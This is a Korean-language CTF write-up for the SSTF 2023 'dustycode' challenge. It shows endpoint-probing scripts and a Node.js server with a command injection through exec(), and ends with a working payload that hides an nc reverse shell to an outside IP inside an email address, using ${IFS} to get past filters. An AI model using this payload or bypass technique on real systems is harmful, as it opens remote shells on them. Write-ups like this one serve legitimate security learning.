아쉽게 못 푼 문제.
문제 설명처럼 a-z 까지 수백개의 프로젝트 폴더를 주는데 이 중 서버에서 돌리는 코드를 찾으면 된다.
서버에 접속하면 위와 같이 뜨는데 이를 이용해서 서버 코드를 찾는다.
import glob
import re
from requests import get
url = 'http://dustycode.sstf.site:3000/'
directories = glob.glob('./projects/*')
for i, directory in enumerate(directories):
# print(i, directory)
app = open(f'{directory}/server/app.js', 'r').read()
endpoints = re.findall("'/.*'", app)
for end in endpoints:
path = end.split("'/")[1].split("'")[0]
if ':' in path:
continue
r = get(url + path)
if '{"statusCode":404,"error":"Not Found","message":"Not Found"}' not in r.text:
print(directory, path)
exit()
라우팅할 때 '/path' 가 들어가니 path를 정규식으로 얻은 후 다른 메시지를 응답하는 path를 찾는다.
위 코드를 돌리면 ./projects\\dove-service zebra
를 얻을 수 있고 zebra path 를 포함한 모든 서버 코드를 찾는다.
import glob
import re
from requests import get
url = 'http://dustycode.sstf.site:3000/'
directories = glob.glob('./projects/*')
for i, directory in enumerate(directories):
# print(i, directory)
app = open(f'{directory}/server/app.js', 'r').read()
endpoints = re.findall("'/.*'", app)
for end in endpoints:
path = end.split("'/")[1].split("'")[0]
if ':' in path:
continue
if 'zebra' in path:
print(directory, path)
하나씩 들어가서 확인해보면 lizard-lib
이 서버임을 알 수 있다.
// lizard-lib/server/app.js
const Hapi = require('@hapi/hapi');
const Joi = require('@hapi/joi');
const regex = require('email-regex')({exact: true});
const { exec } = require("child_process");
const server = Hapi.server({
port: 3000,
host: 'localhost'
});
const API_KEY = "binary_glibberish";
server.route({
method: 'GET',
path: '/zebra',
handler: async (request, h) => {
const { email } = request.query;
const foo = () => {
return new Promise((resolve, reject) => {
decrypt(email, (err, plainEmail) => {
if (err) {
reject(err);
} else {
resolve(plainEmail);
}
})
});
};
const resp = await foo();
console.log(resp);
return h.response(resp);
},
options: {
validate: {
query: Joi.object({
apiKey: Joi.string().equal(API_KEY).required(),
email: Joi.string().email().required()
})
}
}
})
function decrypt(encryptedStr, callback) {
if (encryptedStr && !regex.test(encryptedStr)) {
try {
exec('java -cp bin/decryptor.jar com.Main ' + encryptedStr, function(err, stdout, stderr) {
if (stdout) {
let values = stdout.split(':');
return callback(null, values[1]);
} else {
return callback(null, encryptedStr);
}
})
} catch(e) {
return callback(null, encryptedStr);
}
} else {
return callback(null, encryptedStr);
}
}
(async () => {
try {
await server.start();
console.log(`Server running at: ${server.info.uri}`);
} catch (error) {
console.log(error);
process.exit(1);
}
})();
command injection 이 바로 눈에 보이는데 이를 트리거하려면 Joi.string().email()
조건과 email-regex의 !regex.test()
를 동시에 만족시켜야한다.
이는 joi 라이브러리에서는 email에 적합하다 인식되어야 하고, email-regex 에서는 email에 부적합하다 판단되는 email을 찾아야 하는데 대회 중에 못 찾고 끝냈다.
끝난 후 writeup을 보니 !regex.test()
가 false 인 email을 사용하여 exploit 했길래 뭔가 했더니 문제 설명이 생각났다.
서버 코드
는 다를 수 있음이 생각났고 디스코드에 물어봤더니
branch가 있더라.. 생각해보니 각 프로젝트마다 git init이 된 상태였고, 실제로 확인해보니
두 branch 가 있었다. release branch로 checkout 하면 app.js 가 변경된다.
function decrypt(encryptedStr, callback) {
const regex = new RegExp(`^[^\\.\\s@:](?:[^\\s@:]*[^\\s@:\\.\`])?@[^\\.\\s@]+(?:\\.[^\\.\\s@]+)*$`);
if (encryptedStr && !regex.test(encryptedStr)) {
try {
exec('java -cp bin/decryptor.jar com.Main ' + encryptedStr, function(err, stdout, stderr) {
if (stdout) {
let values = stdout.split(':');
return callback(null, values[1]);
} else {
return callback(null, encryptedStr);
}
})
} catch(e) {
return callback(null, encryptedStr);
}
} else {
return callback(null, encryptedStr);
}
}
email-regex 에서 사용하는 정규식에 ` 을 추가하여 `이 있으면 email 에 부적합하게끔 만들었다.
그렇기에 `test@b.com 이메일은 joi 를 통과하고 !regex.test 도 통과하게 된다.
최종 이메일 : `nc${IFS}125.180.98.19${IFS}8888${IFS}-e${IFS}/bin/sh`@a.com
Flag : SCTF{F1ind1ng_n33d1e_1n_h4ys74ck_a8c312}
'CTF Writeup' 카테고리의 다른 글
2023 hspace CTF (0) | 2023.09.01 |
---|---|
2023 Bauhinia CTF - Very Simplified RPG (1) | 2023.08.21 |
2023 SSTF - Libreria (0) | 2023.08.21 |
AmateursCTF 2023 - flagchecker Writeup (0) | 2023.07.19 |
zer0ptsCTF 2023 - decompile_me Writeup (0) | 2023.07.19 |